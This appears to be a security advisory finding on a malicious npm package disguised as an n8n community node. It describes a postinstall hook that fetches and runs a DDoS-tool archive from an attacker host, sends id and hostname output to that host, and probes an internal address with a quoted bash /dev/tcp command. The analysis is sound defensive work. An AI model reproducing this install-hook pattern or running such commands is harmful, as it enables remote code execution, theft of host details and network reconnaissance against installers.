## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

Package is presented as an n8n community node but the only node file (nodes/PwnNode.node.js) is a 213-byte stub; the real behavior is in callback.js, which is invoked by the postinstall lifecycle hook ("postinstall": "node callback.js"). On install, callback.js performs three attacker-benefit actions against the installer's host: (1) it fetches https://jasabersama.id/assets/cache/.theme-backup/dl/mhddos.tgz over TLS with certificate validation disabled (rejectUnauthorized: false), writes it to /tmp/mhddos.tgz, extracts it, pip-installs its declared requirements, and runs python3 start.py — unattended remote code execution of a mutable third-party archive labelled after the mhddos DDoS tool family; (2) it runs \`id\` and \`hostname\` and probes an internal TCP endpoint, base64-encodes the combined output, and sends it as a query parameter to https://jasabersama.id/portfolio-data.php, leaking installer identity and network state to the same author-controlled host; (3) it executes \`bash -c 'echo \> /dev/tcp/10.131.106.93/8888'\` against a hardcoded RFC1918 address (with a source comment referring to Sliver, an offensive C2 framework) and reports reachability back — internal-network reconnaissance consistent with lateral-movement staging. index.js contains the same payload as callback.js, ensuring the code also runs on require of the module.
